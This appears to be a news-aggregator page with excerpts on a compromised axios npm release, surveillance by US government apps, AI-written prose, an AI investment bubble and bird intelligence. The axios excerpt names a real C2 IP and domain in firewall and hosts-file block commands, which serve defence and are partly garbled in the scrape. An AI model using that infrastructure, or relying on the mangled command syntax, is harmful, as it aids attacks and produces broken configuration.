npm ci –ignore-scripts        Block C2 traf­fic at the net­work/​DNS layer as a pre­cau­tion on any po­ten­tially ex­posed sys­tem:

# Block via fire­wall (Linux)iptables -A OUTPUT -d 142.11.206.73-j DROP# Block via /etc/hosts (macOS/Linux)echo 0.0.0.0 sfr­clak.com” >> /etc/hosts    It en­forces a net­work egress al­lowlist in GitHub Actions, re­strict­ing out­bound net­work traf­fic to only al­lowed end­points. Both DNS and net­work-level en­force­ment pre­vent covert data ex­fil­tra­tion. The C2 call­back to sfr­clak.com:8000 and the pay­load fetch in the postin­stall script would have been blocked at the net­work level be­fore the RAT could be de­liv­ered.Harden-Run­ner also au­to­mat­i­cally logs out­bound net­work traf­fic per job and repos­i­tory, es­tab­lish­ing nor­mal be­hav­ior pat­terns and flag­ging anom­alies. This re­veals whether ma­li­cious postin­stall scripts ex­e­cuted ex­fil­tra­tion at­tempts or con­tacted sus­pi­cious do­mains, even when the mal­ware self-deletes its own ev­i­dence af­ter­ward. The C2 call­back to sfr­clak.com:8000 was flagged as anom­alous be­cause it had never ap­peared in any prior work­flow run.Sup­ply chain at­tacks like this one do not stop at the CI/CD pipeline. The ma­li­cious postin­stall script in plain-crypto-js@4.2.1 drops a cross-plat­form RAT de­signed to run on the de­vel­op­er’s own ma­chine, har­vest­ing cre­den­tials, SSH keys, cloud to­kens, and other se­crets from the lo­cal en­vi­ron­ment. Every de­vel­oper who ran npm in­stall with the com­pro­mised ax­ios ver­sion out­side of CI is a po­ten­tial point of com­pro­mise.StepSe­cu­rity Dev Machine Guard gives se­cu­rity teams real-time vis­i­bil­ity into npm pack­ages in­stalled across every en­rolled de­vel­oper de­vice. When a ma­li­cious pack­age is iden­ti­fied, teams can im­me­di­ately search by pack­age name and ver­sion to dis­cover all im­pacted ma­chines, as shown be­low with ax­ios@1.14.1 and ax­ios@0.30.4.Newly pub­lished npm pack­ages are tem­porar­ily blocked dur­ing a con­fig­urable cooldown win­dow. When a PR in­tro­duces or up­dates to a re­cently pub­lished ver­sion, the check au­to­mat­i­cally fails. Since most ma­li­cious pack­ages are iden­ti­fied within 24 hours, this cre­ates a cru­cial safety buffer. In this case, plain-crypto-js@4.2.1 was pub­lished hours be­fore the ax­ios re­leases, so any PR up­dat­ing to ax­ios@1.14.1 or ax­ios@0.30.4 dur­ing the cooldown pe­riod would have been blocked au­to­mat­i­cally.StepSe­cu­rity main­tains a real-time data­base of known ma­li­cious and high-risk npm pack­ages, up­dated con­tin­u­ously, of­ten be­fore of­fi­cial CVEs are filed. If a PR at­tempts to in­tro­duce a com­pro­mised pack­age, the check fails and the merge is blocked. Both ax­ios@1.14.1 and plain-crypto-js@4.2.1 were added to this data­base within min­utes of de­tec­tion.Search across all PRs in all repos­i­to­ries across your or­ga­ni­za­tion to find where a spe­cific pack­age was in­tro­duced. When a com­pro­mised pack­age is dis­cov­ered, in­stantly un­der­stand the blast ra­dius: which re­pos, which PRs, and which teams are af­fected. This works across pull re­quests, de­fault branches, and dev ma­chines.AI Package Analyst con­tin­u­ously mon­i­tors the npm reg­istry for sus­pi­cious re­leases in real time, scor­ing pack­ages for sup­ply chain risk be­fore you in­stall them. In this case, both ax­ios@1.14.1 and plain-crypto-js@4.2.1 were flagged within min­utes of pub­li­ca­tion, giv­ing teams time to in­ves­ti­gate, con­firm ma­li­cious in­tent, and act be­fore the pack­ages ac­cu­mu­lated sig­nif­i­cant in­stalls. Alerts in­clude the full be­hav­ioral analy­sis, de­coded pay­load de­tails, and di­rect links to the OSS Security Feed.StepSecurity has pub­lished a threat in­tel alert in the Threat Center with all rel­e­vant links to check if your or­ga­ni­za­tion is af­fected. The alert in­cludes the full at­tack sum­mary, tech­ni­cal analy­sis, IOCs, af­fected ver­sions, and re­me­di­a­tion steps, so teams have every­thing needed to triage and re­spond im­me­di­ately. Threat Center alerts are de­liv­ered di­rectly into ex­ist­ing SIEM work­flows for real-time vis­i­bil­ity.We want to thank the ax­ios main­tain­ers and the com­mu­nity mem­bers who quickly iden­ti­fied and triaged the com­pro­mise in GitHub is­sue #10604. Their rapid re­sponse, col­lab­o­ra­tive analy­sis, and clear com­mu­ni­ca­tion helped the ecosys­tem un­der­stand the threat and take ac­tion within hours.We also want to thank GitHub for swiftly sus­pend­ing the com­pro­mised ac­count and npm for quickly un­pub­lish­ing the ma­li­cious ax­ios ver­sions and plac­ing a se­cu­rity hold on plain-crypto-js. The co­or­di­nated re­sponse across main­tain­ers, GitHub, and npm sig­nif­i­cantly lim­ited the win­dow of ex­po­sure for de­vel­op­ers world­wide.Hi­jacked main­tainer ac­count used to pub­lish poi­soned ax­ios re­leases in­clud­ing 1.14.1 and 0.30.4. The at­tacker in­jected a hid­den de­pen­dency that drops a cross plat­form RAT. We are ac­tively in­ves­ti­gat­ing and will up­date this post with a full tech­ni­cal analy­sis.Team­PCP weaponized 76 Trivy ver­sion tags overnight. The KICS at­tack fol­lowed the same play­book days later. One se­cu­rity con­trol is not enough. Here is how the StepSecurity plat­for­m’s ten in­de­pen­dent se­cu­rity lay­ers work to­gether to pre­vent cre­den­tial ex­fil­tra­tion, de­tect com­pro­mised ac­tions at run­time, and re­spond to in­ci­dents across your en­tire or­ga­ni­za­tion be­fore at­tack­ers can suc­ceed.Ma­li­cious IoliteLabs VSCode Extensions Target Solidity Developers on Windows, ma­cOS, and Linux with BackdoorA sup­ply chain at­tack tar­get­ing Solidity and Web3 de­vel­op­ers has been dis­cov­ered across three IoliteLabs VSCode ex­ten­sions (solidity-macos, so­lid­ity-win­dows, and so­lid­ity-linux) em­bed­ding ob­fus­cated back­doors that down­load re­mote pay­loads and es­tab­lish per­sis­tence on all ma­jor plat­forms. StepSecurity is ac­tively in­ves­ti­gat­ing this in­ci­dent and will pub­lish a full tech­ni­cal analy­sis with IOCs and re­me­di­a­tion guid­ance shortly.

...

Read the original on www.stepsecurity.io »

3 552 shares, 41 trendiness

13 Government Apps That Spy Harder Than the Apps They Ban

The fed­eral gov­ern­ment re­leased an app yes­ter­day, March 27th, and it’s spy­ware.

The White House app mar­kets it­self as a way to get unparalleled ac­cess” to the Trump ad­min­is­tra­tion, with press re­leases, livestreams, and pol­icy up­dates. The kind of con­tent that every RSS feed on the planet de­liv­ers with one per­mis­sion: net­work ac­cess. But the White House app, ver­sion 47.0.1 (because sub­tlety died a long time ago), re­quests pre­cise GPS lo­ca­tion, bio­met­ric fin­ger­print ac­cess, stor­age mod­i­fi­ca­tion, the abil­ity to run at startup, draw over other apps, view your Wi-Fi con­nec­tions, and read badge no­ti­fi­ca­tions. It also ships with 3 em­bed­ded track­ers in­clud­ing Huawei Mobile Services Core (yes, the Chinese com­pany the US gov­ern­ment sanc­tioned, ship­ping track­ing in­fra­struc­ture in­side the sit­ting pres­i­den­t’s of­fi­cial app), and it has an ICE tip line but­ton that redi­rects straight to ICEs re­port­ing page.

This thing also has a Text the President” but­ton that auto-fills your mes­sage with Greatest President Ever!” and then col­lects your name and phone num­ber. There’s no spe­cific pri­vacy pol­icy for the app, just a generic white­house.gov pol­icy that does­n’t ad­dress any of the ap­p’s track­ing ca­pa­bil­i­ties.

The White House app might ac­tu­ally be one of the milder ones. I’ve been go­ing through every fed­eral agency app I can find on Google Play, pulling their per­mis­sions from Exodus Privacy (which au­dits Android APKs for track­ers and per­mis­sions), and what I found de­serves its own term. I’m call­ing it Fedware.

Ok so let me walk you through what the fed­eral gov­ern­ment is run­ning on your phone.

The FBIs app, myFBI Dashboard, re­quests 12 per­mis­sions in­clud­ing stor­age mod­i­fi­ca­tion, Wi-Fi scan­ning, ac­count dis­cov­ery (it can see what ac­counts are on your de­vice), phone state read­ing, and auto-start at boot. It also con­tains 4 track­ers, one of which is Google AdMob, which means the FBIs of­fi­cial app ships with an ad-serv­ing SDK while also read­ing your phone iden­tity. From what I found, the FBIs news app has more track­ers em­bed­ded than most weather apps.

The FEMA app re­quests 28 per­mis­sions in­clud­ing pre­cise and ap­prox­i­mate lo­ca­tion, and has gone from 4 track­ers in older ver­sions down to 1 in v3.0.14. Twenty-eight per­mis­sions for an app whose pri­mary func­tion is show­ing you weather alerts and shel­ter lo­ca­tions. To put that in con­text, the AP News app de­liv­ers the same kind of dis­as­ter cov­er­age with a frac­tion of the per­mis­sions.

IRS2Go has 3 track­ers and 10 per­mis­sions in its lat­est ver­sion, and ac­cord­ing to a TIGTA au­dit, the IRS re­leased this app to the pub­lic be­fore the re­quired Privacy Impact Assessment was even signed, which vi­o­lated OMB Circular A-130. The app shares de­vice IDs, app ac­tiv­ity, and crash logs with third par­ties, and TIGTA found that the IRS never con­firmed that fil­ing sta­tus and re­fund amounts were masked and en­crypted in the app in­ter­face.

MyTSA comes in lighter with 9 per­mis­sions and 1 tracker, but still re­quests pre­cise and ap­prox­i­mate lo­ca­tion. The TSAs own Privacy Impact Assessment says the app stores lo­ca­tion lo­cally and claims it never trans­mits GPS data to TSA. I’ll give them credit for doc­u­ment­ing that, be­cause most of these apps have pri­vacy poli­cies that read like ran­som notes.

CBP Mobile Passport Control is where things get gen­uinely alarm­ing. This one re­quests 14 per­mis­sions in­clud­ing 7 clas­si­fied as dangerous”: back­ground lo­ca­tion track­ing (it fol­lows you even when the app is closed), cam­era ac­cess, bio­met­ric au­then­ti­ca­tion, and full ex­ter­nal stor­age read/​write. And the whole CBP ecosys­tem, from CBP One to CBP Home to Mobile Passport Control, feeds data into a net­work that re­tains your faceprints for up to 75 years and shares it across DHS, ICE, and the FBI.

The gov­ern­ment also built a fa­cial recog­ni­tion app called Mobile Fortify that ICE agents carry in the field. It draws from hun­dreds of mil­lions of im­ages across DHS, FBI, and State Department data­bases. ICE Homeland Security Investigations signed a $9.2 mil­lion con­tract with Clearview AI in September 2025, giv­ing agents ac­cess to over 50 bil­lion fa­cial im­ages scraped from the in­ter­net. DHSs own in­ter­nal doc­u­ments ad­mit Mobile Fortify can be used to amass bi­o­graph­i­cal in­for­ma­tion of individuals re­gard­less of cit­i­zen­ship or im­mi­gra­tion sta­tus”, and CBP con­firmed it will retain all pho­tographs” in­clud­ing those of U. S. cit­i­zens, for 15 years.

Photos sub­mit­ted through CBP Home, bio­met­ric scans from Mobile Passport Control, and faces cap­tured by Mobile Fortify all feed this sys­tem. And the EFF found that ICE does not al­low peo­ple to opt out of be­ing scanned, and agents can use a fa­cial recog­ni­tion match to de­ter­mine your im­mi­gra­tion sta­tus even when other ev­i­dence con­tra­dicts it. A U. S.-born cit­i­zen was told he could be de­ported based on a bio­met­ric match alone.

SmartLINK is the ICE elec­tronic mon­i­tor­ing app, built by BI Incorporated, a sub­sidiary of the GEO Group (a pri­vate prison com­pany that prof­its di­rectly from how many peo­ple ICE mon­i­tors), un­der a $2.2 bil­lion con­tract. The app col­lects ge­olo­ca­tion, fa­cial im­ages, voice prints, med­ical in­for­ma­tion in­clud­ing preg­nancy data, and phone num­bers of your con­tacts. ICEs con­tract gives them unlimited rights to use, dis­pose of, or dis­close” all data col­lected. The ap­p’s for­mer terms of ser­vice al­lowed shar­ing virtually any in­for­ma­tion col­lected through the ap­pli­ca­tion, even be­yond the scope of the mon­i­tor­ing plan.” SmartLINK went from 6,000 users in 2019 to over 230,000 by 2022, and in 2019, ICE used GPS data from these mon­i­tors to co­or­di­nate one of the largest im­mi­gra­tion raids in his­tory, ar­rest­ing around 700 peo­ple across six cities in Mississippi.

And if you think your lo­ca­tion data is safe be­cause you use reg­u­lar apps and avoid gov­ern­ment ones, the fed­eral gov­ern­ment is buy­ing that data too. Companies like Venntel col­lect 15 bil­lion lo­ca­tion points from over 250 mil­lion de­vices every day through SDKs em­bed­ded in over 80,000 apps (weather, nav­i­ga­tion, coupons, games). DHS, FBI, DOD, and the DEA pur­chase this data with­out war­rants, cre­at­ing a con­sti­tu­tional loop­hole around the Supreme Court’s 2018 Carpenter v. United States rul­ing that re­quires a war­rant for cell­phone lo­ca­tion his­tory. The Defense Department even pur­chased lo­ca­tion data from prayer apps to mon­i­tor Muslim com­mu­ni­ties. Police de­part­ments used sim­i­lar data to track racial jus­tice pro­test­ers.

And then there’s the IRS-ICE data shar­ing deal from April 2025. The IRS and ICE signed a Memorandum of Understanding al­low­ing ICE to re­ceive names, ad­dresses, and tax data for peo­ple with re­moval or­ders. ICE sub­mit­ted 1.28 mil­lion names. The IRS er­ro­neously shared the data of thou­sands of peo­ple who should never have been in­cluded. The act­ing IRS Commissioner, Melanie Krause, re­signed in protest. The chief pri­vacy of­fi­cer quit. One per­son leav­ing changes noth­ing about the in­sti­tu­tion, and the data was al­ready out the door. A fed­eral judge blocked fur­ther shar­ing in November 2025, rul­ing it likely vi­o­lates IRS con­fi­den­tial­ity pro­tec­tions, but by then the IRS was al­ready build­ing an au­to­mated sys­tem to give ICE bulk ac­cess to home ad­dresses with min­i­mal hu­man over­sight. The court or­der is a speed bump, and they’ll find an­other route.

The apps, the data­bases, and the data bro­ker con­tracts all feed the same pipeline, and no sin­gle agency con­trols it be­cause they all share it.

The GAO re­ported in 2023 that nearly 60% of 236 pri­vacy and se­cu­rity rec­om­men­da­tions is­sued since 2010 had still not been im­ple­mented. Congress has been told twice, in 2013 and 2019, to pass com­pre­hen­sive in­ter­net pri­vacy leg­is­la­tion. It has done nei­ther. And it won’t, be­cause the sur­veil­lance ap­pa­ra­tus serves the peo­ple who run it, and the peo­ple who run it write the laws. Oversight is the­ater. The GAO is­sues a re­port, Congress holds a hear­ing, every­one per­forms con­cern for the cam­eras, and then the con­tracts get re­newed and the data keeps flow­ing. It’s work­ing ex­actly as de­signed.

The fed­eral gov­ern­ment pub­lishes con­tent avail­able through stan­dard web pro­to­cols and RSS feeds, then wraps that con­tent in ap­pli­ca­tions that de­mand ac­cess to your lo­ca­tion, bio­met­rics, stor­age, con­tacts, and de­vice iden­tity. They em­bed ad­ver­tis­ing track­ers in FBI apps. They sell the line that you need their app to re­ceive their pro­pa­ganda while the app qui­etly col­lects data that flows into the same sur­veil­lance pipeline feed­ing ICE raids and war­rant­less lo­ca­tion track­ing. Every sin­gle one of these apps could be re­placed by a web page, and they know that. The app ex­ists be­cause a web page can’t read your fin­ger­print, track your GPS in the back­ground, or in­ven­tory the other ac­counts on your de­vice.

You don’t need their app. You don’t need their per­mis­sion to ac­cess pub­lic in­for­ma­tion. You al­ready have a browser, an RSS reader, and the abil­ity to de­cide for your­self what runs on your own hard­ware. Use them.

...

Read the original on www.sambent.com »

4 508 shares, 36 trendiness

Don't Let AI Write For You

Don’t Let AI Write For You Go does not al­low truthi­ness Simple Semaphore With a Buffered Channel in Go 🎙️, 🎙️ - Is this thing on? What hap­pens when you go to this site? Everything Useful I Know About kubectl Choosing the right scope func­tion in Kotlin What do data classes give you in Kotlin? How sim­i­lar is the ex­e­cu­tion of Java and JavaScript?

Don’t Let AI Write For You When you write a doc­u­ment or es­say, you are pos­ing a ques­tion and then an­swer­ing it. For ex­am­ple, a PRD an­swers the ques­tion, What should we build?” A tech­ni­cal spec an­swers, How should we build it?” Sometimes the ques­tion is more dif­fi­cult to an­swer—“What are we even try­ing to ac­com­plish?” And with every at­tempt at an­swer­ing, you re­flect on whether you’re ask­ing the right ques­tion.

But now, of course, we have LLMs. I’m see­ing an in­creas­ing amount of LLM-generated doc­u­ments, ar­ti­cles, and es­says. I want to cau­tion against this. Each LLM-generated doc­u­ment is a missed op­por­tu­nity to think and build trust.

The goal of writ­ing is not to have writ­ten. It is to have in­creased your un­der­stand­ing, and then the un­der­stand­ing of those around you. When you are tasked to write some­thing, your job is to go into the murk­i­ness and come out of it with struc­ture and un­der­stand­ing. To con­quer the un­known.

The sec­ond or­der goal of writ­ing is to be­come more ca­pa­ble. It is like work­ing out. Every time you do a rep on the bound­ary of what you can do, you get stronger. It is un­com­fort­able and ef­fort­ful.

Letting an LLM write for you is like pay­ing some­body to work out for you.

There are so­cial ef­fects to LLM-generated writ­ing too. When I send some­body a doc­u­ment that whiffs of LLM, I’m only demon­strat­ing that the LLM pro­duced some­thing ap­prox­i­mat­ing what oth­ers want to hear. I’m not show­ing that I con­tended with the ideas.

It un­der­mines my cred­i­bil­ity as a per­son who could lead what­ever ini­tia­tive comes out of this doc­u­ment. That’s un­for­tu­nate. I could have used this op­por­tu­nity to es­tab­lish cred­i­bil­ity.

LLM-generated writ­ing un­der­mines the au­then­tic­ity of not just one’s writ­ing but of the think­ing be­hind it as well. If the prose is au­to­mat­i­cally gen­er­ated, might the ideas be too?

How LLMs can be used in the writ­ing process

LLMs are use­ful for re­search and check­ing your work. They can also work well for quickly record­ing in­for­ma­tion or tran­scrib­ing text (neither of which are what I mean by writing”, as in writing an es­say”).

They are par­tic­u­larly good at gen­er­at­ing ideas. They thrive in this use case be­cause if they gen­er­ate 10 things and only one is use­ful, no harm is done. You can take what is use­ful and leave the rest be­hind.

These LLMs will in­crease ef­fi­ciency in de­liv­er­ing soft­ware. But in or­der to make the most of them, we need a si­mul­ta­ne­ous rise in our level of thought­ful­ness.

...

Read the original on alexhwoods.com »

5 360 shares, 9 trendiness

How the AI bubble bursts

The cat­a­lysts for a crash are al­ready laid out, and it can hap­pen sooner than most ex­pect. AI is here to stay. If used right, chances are it will make us all more pro­duc­tive. That, on the other hand, does not mean it will be a good in­vest­ment.

Magnificent 7 com­pa­nies are in­creas­ing capex to their biggest ever to dif­fer­en­ti­ate their tech from each other and the big AI labs, but the key re­al­iza­tion is that they don’t have to spend it to win. It’s a de­fen­sive move for them, if they com­mit $50B, OpenAI and Anthropic need to go raise $100B each to stay com­pet­i­tive, which makes them re­liant on in­vestors’ money. As the num­bers get big­ger, the amount of funds that can write checks of the size re­quired to fill such amounts gets smaller. And many of them are now get­ting bombed in the Gulf.

This is the rea­son there’s a push for IPOs, it’s be­cause it’s the only op­tion left to keep the fund­ing com­ing.

Taking this into ac­count, Google is ex­tremely well po­si­tioned to weather the storm. When they an­nounce capex ex­pen­di­ture, they don’t spend it overnight. They can sim­ply de­ploy month by month un­til their com­peti­tors strug­gle to raise and get forced to ca­pit­u­late. At that point they can just ramp down the spend­ing and de­clare vic­tory in a cor­nered mar­ket. They don’t need capex, they just need to make it very clear for every­one that no­body can out­spend them. It is hard to pic­ture as num­bers get so big, but Alphabet (Google’s par­ent) is ten times more valu­able than the biggest mil­i­tary com­pany .

This also has a great im­pli­ca­tion for the Mag 7, es­pe­cially Google: their capex will be a lot smaller in prac­tice than pro­jected, and as in­vestors hate to see high capex in tech, the mar­ket will prob­a­bly re­ward that if it ma­te­ri­al­izes.

Apple did­n’t even have to pre­tend, their strat­egy of wait­ing on the side­lines, while sell­ing Mac Minis, for some­one to come up with a good-enough model and just buy that when it’s done seems to be work­ing. They may not even do that, they are now hint­ing at charg­ing mod­els for be­ing avail­able on Siri. Amazon is hedged with an Anthropic in­vest­ment, and Meta is spend­ing like there’s no to­mor­row.

We’re hit­ting the worst-case sce­nar­ios for the big AI labs: en­ergy, their biggest ex­pense, is at multi-year highs, cap­i­tal from the Gulf is not avail­able for ob­vi­ous rea­sons, there are se­ri­ous con­cerns about a rate hike, and RAM prices are crash­ing be­cause new mod­els won’t need as much, but labs al­ready bought them at sky-high prices. And that last in­no­va­tion came from their biggest com­peti­tor, Google.

Anthropic is al­ready in a push to re­duce costs and in­crease rev­enue. If in­vestor money dries up, they will be forced to cut their losses and pass the true costs to their users. The ques­tion is now if cus­tomers will be will­ing to pay up. Independent re­ports state that Claude me­tered mod­els are priced 5x more ex­pen­sive than their sub­scribers pay, and no­body is sure if even their me­tered pric­ing is prof­itable. In in­vest­ing, sto­ries are way more ex­cit­ing than re­al­ity: a com­pany los­ing money but grow­ing like crazy is an eas­ier sell than a huge com­pany los­ing money or with tight mar­gins. Raising prices will for sure de­crease de­mand and that risks killing the growth story. And even if rev­enue keeps grow­ing, it does­n’t mat­ter if there are no mar­gins — grow­ing rev­enue with­out prof­its just means burn­ing cash faster, es­pe­cially when com­pet­ing against com­pa­nies that can of­fer the same prod­uct as a loss leader bun­dled into their cloud plat­forms.

It’s also worth men­tion­ing that Claude’s most ex­pen­sive sub­scrip­tion plans (Max and Max 5x, priced at $100 and $200 re­spec­tively) do not al­low for yearly pay­ments, hint­ing prices will go up.

OpenAI is strug­gling to mon­e­tize. They turned to show­ing ads in ChatGPT, some­thing Sam Altman once called a last re­sort”, while Anthropic is crush­ing them with the more prof­itable cor­po­rate cus­tomers and soft­ware en­gi­neers. Their shop­ping fea­ture flopped and they shut down Sora, both sup­posed to be rev­enue dri­vers.

I would­n’t be sur­prised at all if in the next cou­ple of quar­ters we see OpenAI look­ing for an exit. It will be in­ter­est­ing be­cause the sizes are now so big that we will prob­a­bly know all the de­tails. The most likely buyer is Microsoft, they al­ready own a lot of it, and be­cause of that, they are the most in­ter­ested in show­ing a win. Sam Altman man­aged to get Microsoft so in­volved in OpenAI that mak­ing sure it lands on its feet is a Microsoft prob­lem to solve. But, would share­hold­ers vote to spend 22% of an es­tab­lished com­pa­ny’s mar­ket cap to res­cue a money-burn­ing AI lab that has lost most of its dif­fer­en­tia­tors?

And in­de­pen­dent of whether Microsoft makes money or not in their OpenAI en­deavor, it kills the story: they were bet­ting the whole growth story on AI, and if that does­n’t work out, then what’s left to jus­tify a high stock price? They lose a big cus­tomer for their cloud ser­vices. Even worse con­sid­er­ing that now, us­ing the AI they helped fund, every­one can com­pete with their sub-par prod­ucts. GitHub is a good can­di­date for dis­rup­tion, and that’d be just the start.

You may think that you’re not af­fected by the big labs strug­gling. Hell, you may even be happy that they won’t be re­plac­ing your job af­ter all. But that is far from re­al­ity.

Investments are now so big that writ­ing them off would cer­tainly hurt pub­lic com­pa­nies’ bal­ance sheets, and their growth prospects. This will drag the whole mar­ket, re­duc­ing val­u­a­tions and slow­ing M&A, which fur­ther dries up VC money and slows down in­vest­ments. Just like it hap­pened in 2022.

And this has even more ram­i­fi­ca­tions, pen­sion funds around the world will take a hit. Datacenters that were built with the ex­pec­ta­tion of growth will now be un­der­ca­pac­ity, be­cause as train­ing is the most com­pute-in­ten­sive part of a model, if there’s no cap­i­tal to train a new one, they won’t be needed. GPUs then sit idle while their value goes down as there’s no de­mand. Some com­mit­ted GPUs may never get de­liv­ered, or even man­u­fac­tured. Investment dry­ing up is a dis­as­ter for Nvidia, now the biggest com­pany in the world.

It could hap­pen that dat­a­cen­ters are not un­der­used, but they get to charge their cus­tomers a way lower rate than they pro­jected be­fore build­ing, so every­one ben­e­fits from AI but them.

Building a dat­a­cen­ter is sup­posed to be a safe” in­vest­ment in nor­mal times, so banks give pri­vate credit and mort­gages to fi­nance them. A write-off of those as­sets means that banks start re­al­iz­ing losses, hurt­ing their ca­pac­ity to loan, and some may even be forced to liq­ui­date, just like we saw in 2023. And all this as­sumes we don’t get dis­rup­tions in man­u­fac­tur­ing in Taiwan or global sup­ply chains.

Of course, the con­tent of this ar­ti­cle is highly spec­u­la­tive, it may end up be­ing that de­mand for mod­els is just so high it off­sets every other prob­lem I lay. But al­most all in­no­va­tions go through a boom and bust cy­cle and I don’t see a rea­son this is an ex­cep­tion.

Thanks to Javier Silveira and Augusto Gesualdi for re­view­ing drafts of this post.

...

Read the original on martinvol.pe »

6 317 shares, 14 trendiness

Bird brains

← Writing

I was doom­scrolling Reddit at 1am (as you do) and some­one had posted a video from the New Zealand Transport Agency. Road work­ers near a tun­nel by Milford Sound kept find­ing their traf­fic cones in weird places. Dragged into the road, re­arranged, some­times ac­tively rerout­ing traf­fic. Nobody could fig­ure out what was go­ing on, so they checked the cam­eras.

Kea. Native to New Zealand, these big par­rots are usu­ally seen on the route to Milford Sound ha­rass­ing tourists. A flock of them is of­fi­cially called a circus” or a curiosity” — who­ever named them clearly met one. The footage showed them just… ca­su­ally shov­ing cones around a con­struc­tion site. But here’s the in­sane bit — work­ers said the kea would lis­ten for cars com­ing through the tun­nel BEFORE mov­ing the cones, tim­ing it so the cars would have to stop. Why? Because stopped cars mean hu­mans get­ting out. Humans get­ting out means food.

These birds are smarter than some adults I know. Move cone → car stops → hu­man gets out → hu­man feeds me. They in­de­pen­dently in­vented toll booths.

The trans­port agen­cy’s so­lu­tion was equally funny. They switched to heav­ier cones the birds could­n’t move, and then — I’m not mak­ing this up — they built kea gyms” by the road­side. Puzzle sta­tions and con­trap­tions to keep them en­ter­tained. A gov­ern­ment agency lit­er­ally built a play­ground for par­rots be­cause they were too smart for traf­fic man­age­ment. Honestly, I’m fine with my tax dol­lars go­ing to this.

Obviously now I had to know — is this the smartest bird in the world? And hold on, how do you ac­tu­ally mea­sure how smart a bird is? So I whipped out ChatGPT and Google Scholar and here’s what I learned.

How do you give an IQ test to a bird?

Turns out there’s no sin­gle test — re­searchers have come up with a bunch of dif­fer­ent ex­per­i­ments over the years, each de­signed to mea­sure a dif­fer­ent type of in­tel­li­gence. Some of these I’d fail too tbh.

First up, the mir­ror test. You stick a coloured mark on a bird some­where it can only see in a mir­ror. If it looks at the mir­ror and then tries to re­move the mark from its own body, it recog­nises that the re­flec­tion is it­self. That’s self-aware­ness. Most an­i­mals com­pletely fail this — dogs fail it, cats fail it. Eurasian mag­pies pass it. One of the very few non-mam­mals to do so. Your lo­cal mag­pie has a stronger sense of self than your golden re­triever. Pretty hum­bling for the dog.

Then there’s a cool one called Aesop’s Fable — my favourite. It’s lit­er­ally named af­ter the fa­ble where a thirsty crow drops stones into a pitcher to raise the wa­ter level. Researchers put food float­ing in a nar­row tube of wa­ter that the bird can’t reach. The ques­tion is whether it’ll fig­ure out to drop ob­jects in to raise the wa­ter level and get the food. Rooks, New Caledonian crows, and Eurasian jays all pass. Some of them even fig­ure out that heavy ob­jects sink (useful) while light ob­jects float (useless). A fa­ble from 600 BC and it turns out Aesop was just re­port­ing the news.

Next, the de­layed grat­i­fi­ca­tion test. The marsh­mal­low test, but for birds. Offer an OK snack now, or a much bet­ter snack if they wait. Ravens pick the bet­ter fu­ture re­ward over 70% of the time. They’ll even choose a tool they’ll need later over an im­me­di­ate food re­ward. That’s more self-con­trol than I have around a bowl of chips.

There’s also vo­cal mim­icry and com­mu­ni­ca­tion, which goes way be­yond Polly wants a cracker.” Dr. Irene Pepperberg stud­ied an African grey par­rot named Alex for 30 years. Alex could iden­tify ob­jects, colours, shapes, and num­bers. He un­der­stood ab­stract con­cepts like same” and different.” His vo­cab­u­lary ex­ceeded 100 words. When he died in 2007, his last words to Pepperberg were re­port­edly You be good. I love you. See you to­mor­row.” I don’t care how you de­fine in­tel­li­gence — that one’s hard to brush off.

And fi­nally, spa­tial mem­ory. Clark’s nut­crack­ers cache up to 33,000 seeds across thou­sands of lo­ca­tions each au­tumn — and re­mem­ber where most of them are months later. I lose my keys in a two-bed­room apart­ment.

Here’s the wild part. A 2016 study in PNAS found that par­rots and song­birds pack roughly twice as many neu­rons into their fore­brains as pri­mate brains of the same mass. The neu­rons are just much smaller and more densely packed. A crow’s brain weighs about 10 grams. A chim­panzee’s weighs about 400 grams. And yet corvids demon­strate cog­ni­tive abil­i­ties that ri­val great apes: tool use, plan­ning, and so­cial rea­son­ing.

Orange = birds, grey = mam­mals. Dashed lines show trend. Birds sit far above the mam­mal curve.

A macaw’s brain weighs 20 grams and has roughly the same num­ber of fore­brain neu­rons as a macaque mon­key’s brain at 70 grams. Ounce for ounce, bird brains are some of the most com­pu­ta­tion­ally dense or­gans in the an­i­mal king­dom. Calling some­one a bird brain” is hon­estly more of a com­pli­ment.

Enjoying this? Subscribe for oc­ca­sional thoughts, de­liv­ered less than weekly.

Ok so who’s the smartest?

There’s no de­fin­i­tive an­swer be­cause dif­fer­ent species dom­i­nate dif­fer­ent ar­eas. But af­ter go­ing through all of this, if you made me rank them, I’d prob­a­bly go:

Evil ge­nius tier: Corvids (crows, ravens, mag­pies, jays). The tool users. New Caledonian crows are prob­a­bly the stand­out — they craft hooks from sticks to pull grubs out of crevices, some­thing we thought only pri­mates could do. Ravens plan for the fu­ture. Magpies recog­nise them­selves in mir­rors. Jays hide food and then re-hide it if they think an­other bird was watch­ing. That last one is wild — it means they can model what an­other bird knows. They’re para­noid in a way that re­quires the­ory of mind.

Con artist tier: Parrots (African greys, kea, cock­a­toos). The com­mu­ni­ca­tors and schemers. Alex the African grey is the poster child, but kea might be the most broadly im­pres­sive. A University of Auckland study found kea can judge sta­tis­ti­cal prob­a­bil­i­ties — some­thing pre­vi­ously demon­strated only in hu­man in­fants and great apes. In other tests at Canterbury University, kea outscored gib­bons. Actual pri­mates. Goffin’s cock­a­toos can un­lock a se­quence of five dif­fer­ent locks in the right or­der to reach a re­ward. Each lock has a dif­fer­ent mech­a­nism. Worthwhile con­tenders for a spot in Ocean’s Fourteen if they ever make one.

Quietly com­pe­tent tier: Songbirds. Clark’s nut­crack­ers, chick­adees, and a hand­ful of oth­ers. They won’t pick your locks or craft tools, but they’ll mem­o­rise 33,000 seed lo­ca­tions and find them nine months later un­der snow. The ac­coun­tants of the bird world.

Honestly, corvids and par­rots are neck and neck. Corvids edge ahead on tool use and phys­i­cal prob­lem solv­ing. Parrots are ahead on com­mu­ni­ca­tion and so­cial cog­ni­tion. Both would ab­solutely de­stroy your av­er­age pi­geon in a pub quiz.

I also had to look up the dumb­est bird. You might guess it’s a turkey — and they do have a rep­u­ta­tion for be­ing dim, mostly be­cause do­mes­tic turkeys have been se­lec­tively bred to be so heavy they can’t fly and so docile they just stand around. Wild turkeys are ac­tu­ally pretty sharp. But no, the real an­swer is the kakapo — which is also a New Zealand par­rot, fun­nily enough. The kakapo evolved with no nat­ural preda­tors, so when it en­coun­ters a threat it just… freezes. Stands com­pletely still and hopes for the best. The males also have a mat­ing call so con­fus­ing that the fe­males of­ten can’t fig­ure out where the sound is com­ing from. Between that and the freez­ing thing, there are fewer than 200 left. The kea got all the brains in the New Zealand par­rot fam­ily.

What I took away from this

